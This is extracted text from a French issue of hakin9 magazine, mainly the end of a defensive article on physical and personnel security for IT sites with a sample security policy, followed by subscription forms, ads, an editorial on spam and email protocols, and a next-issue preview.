Les contrôles physiques ne sont que des mécanismes conçus dans le but de minimiser le risque d'une menace. L'installation d'un verrou sur une porte suffi t à décourager un voleur potentiel. L'étape suivante consisterait à ajouter un verrou biométrique tel qu'un nu-mériseur d'empreintes de manière à rendre l'accès à une zone sécurisée plus diffi cile pour un intrus déterminé. Ce temps supplémentaire est parfois suffi sant aux autorités pour éliminer une menace. Les portes ne sont pas les seuls éléments susceptibles d'être verrouillés. Les ordinateurs portables,

À propos de l'auteurFort de plus de 10 ans d'expérience dans le secteur des Technologies de l'Information (références : CISSP, IS-SMP, ISSAP, CHS-III, CEI, CEH, CC-NA, Network+, A+), Jeremy Martin est aujourd'hui directeur de la communica-tion pour la société PLUSS SA. Il est également membre de diverses organi-sations dont l'ACFEI (American College of Forensic Examiners International, ou École Internationale Américaine des Examinateurs Médico-Légaux), la BECCA (Business Espionage Controls and Countermeasures Association, ou Association des Contre-mesures et Contrôles de l'Espionnage Industriel), (ISC)² – de l'International Information Systems Security Certifi cation Con-sortium, ou Consortium International de Certifi cation pour la Sécurité des Systèmes d'Information, de l'ISACA (Information Systems Audit and Con-trol Association, ou Association pour le Contrôle et l'Audit des Systèmes d'Information), de l'ISSA (Information Systems Security Association, ou Association pour la Sécurité des Sys-tèmes d'Information), du YEN NTEA (Young Executives Network, ou Réseau des Jeunes Cadres Dirigeants) et enfi n du OISSG (Open Information Systems Security Group, ou Groupe pour la Sécurité des Systèmes d'Information Ouverts).

Page 72: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org70 hakin9 No 3/2005

Déf

ense

les ordinateurs, et les bâtis de ser-veurs devraient également faire l'objet de telles considérations. Nul ne con-naît jamais le moment où un parfait étranger pénètrera dans vos locaux, agira comme un de vos employés, pour en sortir muni d'un ordinateur portable de votre société ou de tout autre actif de valeur. Or, ce genre d'in-trusion se manifeste bien plus souvent que l'on pourrait le croire.

Les stations de travailDe nombreuses sociétés sont allées jusqu'à supprimer l'ensemble des lecteurs de disques, la possibilité d'avoir recours aux dispositifs de type USB/COM/LPT, ainsi que les mots de passe chargés de protéger le système BIOS des stations de travail afi n d'évi-ter l'installation de programmes, des utilisations non autorisées, et le vol. Un des scénarii de protection consiste à avoir recours au Windows 2003 Ter-minal Server ainsi qu'à une distribu-tion Linux bootable personnalisée. Si la confi guration est préétablie et si le réseau n'utilise pas de serveur DHCP, il est censé être plus diffi cile de forcer le système. En même temps on résout les problèmes avec des spyware, des malware et des virus.

La sécurité physique doit éga-lement prendre en considération, à un niveau supérieur, la protection des données dites sensibles contre la surveillance connue sous le nom de TEMPEST (cf. l'article de Robin Lobel TEMPEST – Émissions com-promettantes dans ce numéro de ha-kin9) – ainsi que la protection contre la capture des fuites de radiations électromagnétiques. La technolo-gie de surveillance du programme TEMPEST décode les informations dans un format utilisable pouvant être reproduites à distance. Cette surveillance peut être évitée en ins-tallant des matériaux spéciaux au sein des locaux lors de la construc-tion de l'espace protégé et/ou des boîtiers spéciaux destinés à abriter les systèmes informatiques.

La protection des locauxL'installation d'un sas ou d'un jeu de double portes à l'entrée de vos locaux

ou des zones sécurisées s'avère être une bonne solution interdisant l'entrée ou la sortie des personnes non autori-sées sans avoir été au préalable iden-tifi ées et enregistrées. Clôturer les périmètres d'accès joue également un rôle important dans l'interdiction et la détection des accès non autori-sés avant que des intrus ne pénètrent dans vos locaux. Les clôtures se dé-clinent en différentes solutions :

• entre 1 et 1,20 mètres de hauteur afi n de décourager de simples intrus,

• entre 1,8 et 2 mètres de hauteur découragent la plupart des vo-leurs potentiels,

• 2,50 mètres recouvertes de feuillards décourageront tout le monde mis à part de véritables intrus déterminés.

Les clôtures évoluent aujourd'hui vers les clôtures PIDAS. PIDAS est l'acronyme de Perimeter Intrusion Detection and Assessment System (que l'on pourrait traduire par Sys-tème d'Évaluation et de Détection d'Intrusion sur le Périmètre). Cette clôture est dotée de capteurs placés sur ses fi ls de fer ainsi qu'à sa base. Ce système est conçu dans le but de détecter les coupures dans les fi ls de fer et les vibrations potentielles, provoquées par l'escalade.

L'éclairage est souvent négligé comme moyen de sécuriser une zone donnée. Lorsqu'une zone est bien éclairée, les risques d'intrusions sont réduits par crainte d'être vu. L'éclairage aide également les surveillants ainsi que le matériel de surveillance à dé-tecter une action malveillante en cours. Le National Institute of Standards and Technology, également connu sous le nom de NIST (ou l'Institut National des Normes et de la Technologie, en fran-çais), déclare que les zones critiques devraient être éclairées à 2,5 mètres de haut au moyen de deux lampes.

Les contrôles d'accès administratifsConsidérons maintenant les person-nes en qui vous placez votre con-fi ance. Qu'en est-il des employés ?

La partie la plus importante de tout dispositif de sécurité est sans aucun doute le personnel. La sécurité hu-maine devrait toujours être considé-rée en premier lieu. Le personnel est également le maillon faible dans tout dispositif de sécurité – le facteur hu-main présente bien plus de variables que tout autre élément. Ignorer les politiques et les procédures de sé-curité du personnel peut se révéler tout aussi dangereux qu'une attaque volontaire de la part d'un employé mécontent. Malheureusement, les attaques internes représentent la menace la plus répandue et sont les moins abordées (pour de nombreu-ses raisons). C'est la raison pour la-quelle les contrôles d'accès doivent être installés et développés au sein d'une politique complète et détaillée.

Les contrôles dits administratifs comprennent la formation, les me-sures d'urgence et les contrôles du personnel. La formation permet aux utilisateurs d'identifi er de possibles menaces tout en leur fournissant les informations nécessaires pour agir en conséquence. Lors d'un incendie, par exemple, le personnel – s'il est entraîné correctement – devrait être familier avec les issues de secours et le point de rassemblement. La formation permet également aux utilisateurs de repérer des attaques non techniques telles que l'ingénierie sociale dans la mesure où ils con-naissent la véritable nature de ces attaques. Pour les personnes char-gées des mesures d'urgence, des po-litiques défi nies devraient les aider à minimiser les dégâts en cas de crise.

Les contrôles du personnel doi-vent être envisagés sous forme de mesures préventives et de bonnes pratiques. Avant d'embaucher un futur employé, les références de ce dernier doivent être croisées avec d'autres informations pertinentes afi n d'éva-luer le risque potentiel pour la société que pourrait représenter la personne en question. Une fois la personne intégrée à la société, celle-ci devrait progresser en suivant un ensemble d'examens prédéfi nis afi n de mainte-nir une conformité des deux parties, en effectuant une rotation des pos-

Page 73: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 71hakin9 No 3/2005

Sécurité physique

tes pour bénéfi cier d'une formation mutuelle, et en séparant ses tâches afi n de réduire les activités potentiel-lement immorales ou les accidents. Cette combinaison de processus destinée aux employés actuels per-met de maintenir un contrôle sur eux et la société peut ainsi mettre en œu-vre toute sa réactivité face aux pro-grès et aux projets réalisés. Lorsqu'un employé quitte la société, il doit être escorté jusqu'à la sortie des locaux

après avoir remis l'ensemble des biens de la société qui lui a été confi é. Le sabotage émanant d'un employé mécontent peut généralement être évité au moyen de contrôles d'accès et de personnel.

Les contrôles d'accès techniquesCes contrôles couvrent, parmi d'autres sujets, les systèmes dits CCTV (pour Closed Circuit Television

ou Télévision en Circuit Fermé, en français), la gestion des pannes de matériel, les dispositifs de rechange et l'alimentation électrique. Si un système CCTV avait été installé dans le scénario évoqué au début du pré-sent article, l'intrus aurait été identifi é d'après les enregistrements et aurait pu être intercepté. Certains systèmes CCTV sont même dotés de capacités d'alarmes capables de se déclencher lorsqu'un mouvement ou de la chaleur

1. Présentation généraleLes intentions de la société Insecure Company, Ltd. de publier une Politique de Sécurité Physique n'ont pas pour objectif d'im-poser des restrictions contraires à la culture depuis longtemps établie d'ouverture, de confi ance mutuelle et d'intégrité de la so-ciété Insecure Company, Ltd. Cette société s'est engagée à pro-téger ses employés, ses partenaires commerciaux et la société elle-même contre des actions illégales ou dommageables me-nées par des individus, de manière volontaire ou involontaire.

Un système de sécurité effi cace implique l'effort d'une équi-pe soutenue par la participation et le soutien de chaque employé de la société Insecure Company, Ltd. et de leur collaborateur. Il est de la responsabilité de chaque employé ou hôte de connaître ces lignes directrices, et de mener leur activité en conséquence.

2. ObjectifCette politique a pour objectif d'exposer les grandes lignes de la conception du plan de sécurité physique chez Insecure Com-pany, Ltd. Ces règles sont mises en place dans le but de protéger les employés ainsi que la société Insecure Company, Ltd.

3. Domaine d'applicationCette politique s'applique aux employés, fournisseurs, consul-tants, employés temporaires, et hôtes de la société Insecure Company, Ltd., y compris à l'ensemble du personnel associé à des tiers.

4. PolitiqueL'accès général aux installations de la société : cet élément représente toujours le premier niveau de sécurité physique. Le personnel devra être identifi é au moyen d'une carte d'identifi ca-tion pour obtenir un accès d'entrée. Les hôtes et visiteurs doivent s'inscrire à chaque poste d'entrée, se verront remettre un badge temporaire ou une carte d'identifi cation, et seront accompagnés par un employé durant l'ensemble de leur passage sur les instal-lations de la société.

L'accès dit sensible : badges de sécurité, cartes à puce intelligentes ou autres formes d'identifi cation électronique trans-portées par le personnel et pouvant être scannées de manière répétée. Des contrôles d'accès supplémentaires seront installés

autour des salles des serveurs ou des équipements, des labora-toires d'essais et d'autres zones où sont utilisées ou stockées des informations sensibles ou confi dentielles ou des actifs.

L'entrée dans une zone sécurisée au moyen de références non assignées à des individus spécifi ques est strictement inter-dite. L'entrée dans une zone sans identifi cation appropriée ou en l'absence d'autorisation est également interdite.

La sécurité physique implique également une planifi cation soigneuse des installations de manière à toujours garantir la con-formité des zones verrouillées ou isolées aux exigences d'issues de secours et de lutte contre les incendies.

Les barrières de périmètre devraient être un système PIDAS contrôlé par surveillance extérieure évaluée pour des conditions de faible éclairage.

La vidéo et autres formes électroniques de surveillance, ou systèmes d'authentifi cation à plusieurs facteurs, sont des éléments essentiels pour la vérifi cation de preuves d'identité pré-sentées par les individus munis d'un accès aux zones sensibles.

Les données issues des systèmes d'authentifi cation et des dispositifs de surveillance devraient être archivées pendant une période minimale de 7 ans en conformité avec les réglementa-tions locales et celles du secteur d'activité.

Les systèmes d'informations seront dotés de copies de sau-vegarde situées hors site et chargées de transporter des informa-tions mises à jour dans le cas de catastrophes à la fois naturelles ou provoquées par l'homme.

5. Mise en applicationTout employé surpris en fl agrant délit de violation de cette po-litique peut faire l'objet d'une action disciplinaire, pouvant aller jusqu'à la résiliation de l'emploi.

6. Défi nitions

Termes Défi nitionsLa surveillance Regroupement, analyse,

et archivage des donnéesLa résiliation Fin d'un processus

7. Historique de modifi cations

Exemple d'une politique de sécurité physique

Page 74: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org72 hakin9 No 3/2005

Déf

ense

sont détectés et peuvent également provoquer un événement afi n de prévenir les autorités concernées. Selon les réglementations relatives à votre secteur d'activité, les séquen-ces vidéo peuvent faire l'objet d'un archivage pendant trente six mois, et parfois plus. De nombreuses com-pagnies d'assurance seront prêtes à diminuer le montant des primes mensuelles lorsqu'un système CCTV est installé. Le choix d'investir dans cette technologie en est d'autant plus intéressant.

Les pannes de matériel sont inévitables. Le problème n'est pas d'émettre des conjonctures, mais de savoir quand elles auront lieu. De nombreux fournisseurs vous proposeront une Durée Moyenne de Rétablissement (ou Mean Time To Repair, MTTR, en anglais) pour estimer le temps de réparation du dispositif et une Durée Moyenne de Fonctionnement avant Défaillance (ou Mean Time Between Failure, MTBF) afi n de déterminer la durée de vie attendue du dispositif.

Les dispositifs de rechange méritent l'investissement demandé et une copie devrait être conservée hors site en cas de catastrophes ou de pannes de matériel. De nombreuses sociétés font appel à une méthode de réserve appelée sauvegarde des données à dis-tance (ou data vaulting, en anglais) chargée de compresser, de crypter puis de stocker les données dans une installation extérieure au site et protégée. Cette méthode est es-sentielle pour tout Plan Anti-sinistre (soit Disaster Recovery Plan, ou DRP, en anglais) et de nombreux plans de couverture d'assurance. Afi n d'accroître la disponibilité des données critiques, la technique RAID (Redundant Array of Inde-pendent – or Inexpensive – Disks, ou Réseau Redondant de Disques Indépendants, en français) peut également se révéler fort utile. En effet, la technique RAID augmente la tolérance aux pannes d'un sys-tème tout en réduisant de manière considérable le temps d'arrêt po-tentiel.

L'alimentation en électricité, quant à elle, est tout simplement l'énergie vitale de tout système électronique. Vient ensuite une ali-mentation électrique stabilisée ou l'alimentation à régulation de ten-sion. Réguler la source d'alimen-tation permet d'éviter les excès d'électricité (pointes ou surtensions transitoires), les pertes de puissance (défauts ou extinctions), ainsi que les dégradations de puissance (fl èches, brides, ou éclairage réduit). Cette ré-gulation peut être réalisée au moyen de dispositifs UPS. Une alimentation non régulée est souvent à l'origine de composants électroniques, de données ainsi que de performance réseaux endommagés.

La connectivité du réseauUn réseau – il s'agit d'une défi nition plutôt évidente – est un montage regroupant plusieurs systèmes in-formatiques connectés entre eux par un support de quelque sorte. Le support le plus utilisé est le réseau LAN, câble de catégorie CAT5 com-posé d'un ensemble de quatre pai-res torsadées blindées de fi ls, soit huit fi ls en tout. Connecter plusieurs ordinateurs entre eux crée un cir-cuit dans lequel va passer du cou-rant électrique. Les données sont envoyées à partir d'un ordinateur sous forme de signal numérique utilisant 3 à 5 volts. Par exemple, un signal de niveau 0 est égal à 0 volt et un signal de niveau 1 équivaut à 3–5 volts. Ainsi, un signal dont la valeur serait 00010011 serait en l'état envoyé en 0,0,0,3,0,0,3,3 volts potentiels. Dans le scénario parfait, il n'y aurait aucun volts externes

venant perturber le fl ux de ce cou-rant numérique.

La mise à la terreUne masse dans un circuit électri-que est un cheminement de retour commun représentant le niveau de référence de tension zéro pour l'équipement ou le système, et est généralement reliée à la terre. En l'absence de sol approprié, le cou-rant deviendrait instable et peut pro-voquer l'activation des disjoncteurs.

Lorsqu'il est installé correcte-ment, le cheminement à faible résis-tance fourni par le fi l de garde offre une faible résistance et une capacité d'acheminement de courant suffi san-tes pour empêcher l'accumulation de hautes tensions dangereuses. Une seule prise de courant ou un support léger présentant un fi l endommagé ou mis à nu peuvent provoquer un défaut de la masse. Parmi les grands bâtiments, nombreux sont ceux qui exigent l'installation de plusieurs masses, et les sites composés de plusieurs immeubles nécessitent également la présence de plus d'une masse. Toutefois, l'installation de plusieurs masses reste problémati-que en raison de la différence de po-tentiel électrique sur chaque circuit.

Si les systèmes informatiques sont placés sur des masses sé-parées et sont reliés entre eux via un réseau, ils engendrent alors la formation d'un circuit en dehors des câbles du réseau. Ce phénomène a pour conséquence la création de plusieurs masses sur le même cir-cuit, ce qui modifi era la polarité du courant à la source, dont le fl ux du potentiel sera négatif, à la masse

Sur le réseau :• http://www.sans.org/resources/policies – lignes directrices de base d'une politique

de sécurité,• http://csrc.nist.gov/publications/nistpubs/index.html – publications spéciales du

NIST.

Réglementations légales :

• http://www.hhs.gov/ocr/hipaa/ – loi HIPAA,• http://www.sec.gov/rules/pcaob.shtml – loi SOX,• http://www.ftc.gov/privacy/glbact – loi GLBA.

Page 75: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 73hakin9 No 3/2005

Sécurité physique

v

Dans la société moderne, l’information devient de plus en plus importante.

L’interception des données peut avoir des conséquences fi nancières, sociales ou politiques très graves.

LES DONNÉES EFFACÉES D’UNE FAÇON TRADITIONNELLE PEUVENT ÊTRE FACILEMENT RÉCUPÉRÉES PAR DES PERSONNES NON-AUTORISÉES !

Le programme h9.DiskShredder efface les données des disques durs de façonà ce qu’il soit impossible de les récupérer, même par les spécialistes.

h9.DiskShredder a été conçu en collaboration avec le laboratoirehakin9.lab qui s’occupe des problèmes liés à la sécurité.

Informations et commandes www.hakin9.org, [email protected]

h9.DiskShredderLE PROGRAMME CONÇU POUR L’EFFACEMENT SÛR DES DONNÉES DES DISQUES DURS

Page 76: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org74 hakin9 No 3/2005

Déf

ense

dont le potentiel électrique sera po-sitif. Ce phénomène peut perturber l'émission d'un signal numérique de valeur normale 00010011 (soit 0,0,0,3,0,0,3,3 volts) pour prendre la valeur 01011111 (soit 2,4,1,6,5,4,5,6 volts). Malheureusement, un signal déformé de la sorte peut décon-necter un système de son réseau, détruire des données, ou même en-dommager le matériel informatique.

L'interférence des signauxLes effets liés au brouillage radioélec-trique (RFI) ainsi qu'aux perturbations électromagnétiques (EMI) peuvent également être à l'origine de perturba-tions dans les réseaux. Ces formes de perturbations peuvent être attribuées au matériel qui produit de hautes fréquences tel que les lumières fl uo-rescentes, les soudeurs à hautes fré-quences, les générateurs, tout ce qui se trouvent en phase 3, etc.

Il existe toujours des interféren-ces dans les réseaux (bruit) véhicu-lées par les câbles du réseau, mais le rapport du bruit ramené au signal est important. Certains entrepre-neurs et électriciens ne prennent pas en considération ce phénomène au moment d'installer les câbles de vos futurs locaux. Lors de l'installation des câbles réseau, il est important de confi er cette opération à un in-génieur réseau ou une société de câblage.

Élaboration d'un planMaintenant que vous avez une idée générale de certaines menaces po-tentielles existantes, nous pouvons débuter l'élaboration d'un plan de protection. La conception d'un tel plan d'un point de vue légal, la mise en place correcte des éléments re-lèvent du Due Care, ou Obligation de Prudence et de Diligence. La maintenance des politiques, des procédures et des contrôles est considérée comme relevant du Due Diligence, ou Diligence Raisonnable. La combinaison des deux aspects Due Care et Due Diligence affectera la responsabilité possible ou les res-ponsabilités décroissantes pouvant être mises en cause lorsqu'une

menace est présente (cf. Encadré Exemple d’une politique de sécurité physique).

Le plan de protection a pour objectif de réaliser les conditions nécessaires à la sécurité sans pour autant gêner les opérations du sys-tème, autrement dit maintenir ce dernier convivial pour l'utilisateur. Le plan devra dans le même temps obtenir l'aval des dirigeants expéri-mentés. Vous trouverez ci-dessous une liste d'éléments qui devraient être inclus dans toute conception de plan de sécurité.

Éléments relevant du Due Care :• ordre défi ni de mission de sé-

curité au sein de la politique de sécurité de l'entreprise,

• menaces identifi ées dans une lis-te grâce à l'analyse des risques,

• formation des cadres supérieurs sur le thème de la technologie,

• emploi de contrôles à la fois ca-chés et visibles.

Éléments relevant du Due Dili-gence :• mise en place de formation de

sensibilisation à la sécurité des informations,

• analyse de la vulnérabilité afi n de garantir la conformité des politi-ques de sécurité.

Une fois la politique mise en place, les menaces possibles doivent être listées avec le plus de détails possi-bles. Cette opération ne catégorise pas seulement les menaces d'une manière prévisible, mais aide égale-ment à élaborer un argumentaire pour convaincre les preneurs de décisions. Il semble pertinent d'utiliser à la fois des méthodes d'analyse quantitatives et qualitatives de manière à ce que la conception puisse être supportée par des chiffres réalistes et vérifi ables ainsi que par des points sensibles sur la vulnérabilité capables de soulager les inquiétudes tout en vendant son plan. Une fois la politique accordée, il faut commencer par familiariser les cadres supérieurs avec la technologie mise en œuvre dans l'installation de la dite politique.

Une fois cette diffi cile tâche effec-tuée, la plupart des personnes estime que le travail est terminé. Or, le travail en question est loin d'être achevé. La société doit fournir à chacun de ses employés une formation qui les sensi-bilisera sur la façon dont les nouveaux contrôles opérés vont les affecter. Si les employés devront avoir recours à des cartes à puce, ils devront alors suivre un cours de formation sur leur utilisation et sur les démarches à sui-vre en cas d'échec. Une autre façon d'informer le personnel consiste à in-diquer noir sur blanc les directives de sécurité et s'assurer que l'ensemble des zones sécurisées est bien signalé en tant que tel. Lorsqu'un signe est indiqué sans équivoque au moyen d'un message indiquant par exemple « Il est interdit de pénétrer dans cette zone sans autorisation d'accès. Tout intrus dépourvu d'autorisation s'ex-pose à des poursuites judiciaires », il devient alors diffi cile de trouver des excuses.

Une fois le personnel formé aux différents contrôles, il peut souvent s'avérer pertinent de lui faire pas-ser de petites épreuves de manière à s'assurer que les contrôles sont bien assimilés et fonctionnent cor-rectement. De nombreuses solutions existent pour tester son personnel, allant du simple exercice d'incendie à une simulation complète d'une ca-tastrophe au cours de laquelle il n'y aurait plus d'électricité ni de services émanant des centres de traitement des informations pendant un certain laps de temps.

Nous venons de couvrir dans le présent article plusieurs problèmes liés à la conception de projets de sécurité physique et comment les organiser entre eux. Il est essentiel de s'interroger, avant toutes prépa-rations éventuelles, sur la nature des menaces existantes. Et il est encore plus important de s'assurer que les preneurs de décision soient au cou-rant des contrôles d'une part, et que les utilisateurs soient conscients de leur responsabilité d'autre part, ce afi n de maintenir le plan de sécurité conforme aux réglementations en vigueur. n

Page 77: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

+

enn cadeau!*

38 €

Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier : Software-Wydawnic-two Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : [email protected]

Commande

Prénom Nom ..................................................................................... Entreprise .........................................................................................

Adresse ...........................................................................................................................................................................................................

Code postal ...................................................................................... Ville ...................................................................................................

Téléphone ......................................................................................... Fax ....................................................................................................

E-mail ................................................................................................ Je souhaite recevoir l'abonnement à partir du numéro .................

Voulez-vous recevoir régulièrement votre magazine préféré ?

Prix de l’abonnement annuel de Hakin9 – 38 €

en abonnement coûte moins cher

Abonnez-vous !

+

eenn

*Jusqu’à épuisement du stock

Archives de hakin9 sur CD pour chaque abonné !

Je règle par :¨ Carte bancaire n° CB expire le date et signature obligatoires¨ type de carte ..........................................................................

¨ Virement bancaire : Nom banque : Société Générale Chasse/Rhônebanque guichet numéro de compte clé Rib30003 01353 00028010183 90

IBAN : FR76 30003 01353 00028010183 90Adresse Swift (Code BIC) : SOGEFRPP

Page 78: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.shop.software.com.pl/fr

Abonnez-vous à vos magazines préférés et commandez des anciens numéros !

Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré.

Nous vous garantissons :• des tarifs préférentiels, • un paiement en ligne sécurisé, • la prise en compte rapide de votre commande. Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software !

Page 79: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier : Software-Wydawnictwo Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : [email protected]

Prénom Nom ............................................................................................... Entreprise ...................................................................................................

Adresse .................................................................................................................................................................................................................................

Code postal ................................................................................................ Ville ..............................................................................................................

Téléphone ................................................................................................... Fax ...............................................................................................................

Je souhaite recevoir l'abonnement à partir du numéro .....................................................................................................................................................

E-mail (indispendable pour envoyer la facture) .................................................................................................................................................................

o Prolongement automatique d’abonnement

bulletin d’abonnement

TitreNombre de numéros annuels

Nombre d’abonne-

ments

À partir du numéro Prix

Software 2.0 (1 CD)Mensuel pour les programmeurs professionnels

12 54 €

Software 2.0 Extra! (1 CD)Hors-série du magazine Software 2.0

6 38 €

Linux+DVD (2 DVDs)Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs

12 86 €

Collection Linux+ Distributions (4-7 CDs)Distributions Linux les pluspopulaires (de 4 à 7 CDs joints au chaque magazine)

6 50 €

PHP Solutions (1 CD)Le plus grand magazine sur PHP au monde

6 38 €

PHP Solutions .PRO pour les abonnées (1 CD)Annonce dans PHP Solutions pendant toute durée de l’abonnement

6 95 €

Hakin9 – comment se défendre ? (1 CD)Bimestriel destiné aux personnes qui s’intéressent à la sécurité des systèmes informatiques

6 38 €

Aurox Linux (3 DVDs)Trimestriel avec distribution Linux complète

4 38 €

.PSD (2 CDs)Bimestriel pour les utilisateurs d’Adobe Photoshop

6 39 €

Je règle par :¨ Carte bancaire n° CB expire le date et signature obligatoires type de carte ..........................................................................¨ Virement bancaire : Nom banque : Société Générale Chasse/Rhônebanque guichet numéro de compte clé Rib30003 01353 00028010183 90IBAN : FR76 30003 01353 00028010183 90Adresse Swift (Code BIC) : SOGEFRPP

Page 80: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

78

Feuilleton

De vieux dinosaures d'internet évoquent avec nostalgie le bon vieux temps. Un internet réservé qu'aux élus, accessible seulement dans les

milieux universitaires et scientifi ques. Un internet smart, BCBG, et avant tout, hautement sécurisé. Une sécurité qui n'est aujourd'hui qu'illusoire et fait rêver.

Qu'est-ce qu'ils ont été peu clairvoyants, ces pion-niers du réseau, pour avoir accordé aux internautes toute leur confi ance ! Il est diffi cile de se prononcer aujourd'hui ou prendre partie, faut-il les adorer ou les haïr pour avoir rendu les protocoles si simples, mais tellement inadaptés aux dures réalités de l'internet contemporain ? Bien que dans beaucoup de cas, on ait pu y remédier (avec des méthodes provisoires parfois), certaines lacunes tech-niques et largement diffusées par le passé, ne peuvent, à ce jour être éradiquées.

Les informaticiens paniquent et restent perplexes face aux problèmes qui résultent du protocole SMTP mal défi ni au départ (base pour faire fonctionner l'un des deux éléments essentiels du réseau, soit la messagerie élec-tronique). Et que fait le monde virtuel pour y remédier ? Il s'acharne à inventer et mettre en place des moyens de plus en plus nouveaux, issus de bricolage, au lieu de ras-sembler ses forces et arriver à faire évoluer la situation pour lutter contre la vraie épidémie qui sévit auprès des utilisateurs, celle des virus et des spams. La course entre le bien et le mal se poursuit ; et là, pas besoin de deviner qui emportera la victoire.

Chaque méthode provisoire de lutte contre l'omni-présente vermine (et l'expression est gentille) se termine par une réplique immédiate et claire de la part des forces du mal. Les virus sont de plus en plus malins, les vers polymorphes font partie de notre quotidien, et les vaccins arrivent souvent trop tard, ce, quand le taux d'infection est déjà bien diffus. La lutte contre les spams est encore plus désespérée. L'effi cacité des fi ltres anti-spam laisse à désirer. Ceux parmi les meilleurs entraînent des coûts supplémentaires, demandent aux ordinateurs plus de capacité et volent du temps aux utilisateurs. Sans parler de ce que cela induit.

Peut-être alors, au lieu de consacrer tout notre temps et toute notre énergie à inventer un colmatage de plus, ne serait-il pas plus raisonnable de changer d'approche et revoir complètement le principe de courrier électronique ?

Empreinte du passé

Ces idées sont déjà véhiculées depuis quelques années (ne serait-ce que le concept IM2000, conçu par Daniel J. Bernstein – http://www.im2000.org/) mais elles ne se voient pas réaliser.

Évidemment, chaque idée révolutionnaire a un coût. Un changement radical du réseau de messagerie électro-nique exigera du temps et demandera de gros investisse-ments fi nanciers. Ceux qui se trouvent aujourd'hui dans des camps adverses, devront coopérer. Pour l'instant, des milliers de dollars sont dépensés pour arrêter le fl éau des virus et du spams. Néanmoins, ce n'est pas suffi sant pour lever les résistances, s'armer de courage et mettre au point une solution effi cace. Pourvu qu'il ne soit pas trop tard car nous aurons du mal à élaborer une solution dans le cas où la communication via internet aurait été entravée au point que l'on passerait la majorité de notre temps à lutter contre les attaques. n

Tomasz Nidecki

Page 81: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

Chaque numéro présente des sujets différents.Le catalogue contient les présentations des entreprises et leurs coordonnées.

Chef du projet : Szymon Kierzkowski tél : +48 22 860 18 92 e-mail : [email protected]

Vous trouverez les informations les plus récentes sur le marché des logiciels dans les

Catalogues de hakin9Sujets des catalogues contenant des articles publicitaires pour le magazine hakin9 :

N° Sujets du catalogue

4/20051. Systèmes IDS et IPS (pour détecter les intrusions et protéger contre celles-ci)2. Scanners de sécurité et outils de tests de pénétration3. Services d’audits de sécurité

5/20051. Pare-feux matériels et logiciels2. Systèmes VPN matériels et logiciels3. Services de conception et de contrôle des pare-feux

6/2005

1. Matériel réseau (dispositifs actifs et passifs, éléments du réseau)2. Logiciels de gestion de système informatique de l’entreprise3. Services de conception et de réalisation des réseaux informatiques sûrs

1/20061. Systèmes de stockage de données sûrs 2. Logiciels de gestion de stockage et récupération de données3. Récupération de données du matériel abîmé et suppresion de données sûre

2/2006

1. Cryptage de données : logiciels pour les stations client et serveurs2. Matériel de cryptage3. Systèmes PKI, autorités de certifi cation

Page 82: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

Dans le prochain numéro :

L’un des types de stéganographie, l’art de camoufl er des informations dans les autres, est la stéganogra-phie réseau. Elle consiste à dissi-muler les informations au niveau du protocole de communication utilisé dans Internet. Cette possibilité est due aux imperfections dans le pro-tocole TCP. L’article de Łukasz Wój-cicki explique comment cacher une information dans les paquets TCP.

Parfois, pendant l’analyse des fi chiers binaires, nous nous heur-tons à des programmes qui posent des problèmes. Si le désassem-blage ou débogage sont diffi ciles à effectuer, cela signifi e que l’auteur de l’application a peut-être tenté de la protéger contre ces actions. Marek Janiczek présente les maniè-res de contourner les techniques de protection les plus fréquentes contre l’ingénierie inverse.

Sur le CD

• hakin9.live – une version boo-table de Linux,

• beaucoup d’outils – une boîte à outils de chaque hacker,

• les tutoriaux – les exercices pratiques concernant les questions abordées dans les articles,

• une documentation supplé-mentaire.

Des dizaines de millions de ser-veurs Web fonctionnent aujourd’hui sur Internet ; une grande partie d’eux sont administrés par des personnes peu expérimentées. Trouver les failles de sécurité dans ces systèmes n’est qu’une question de patience. Oliver Karow vous racontera comment trouver les failles dans les serveurs Web.

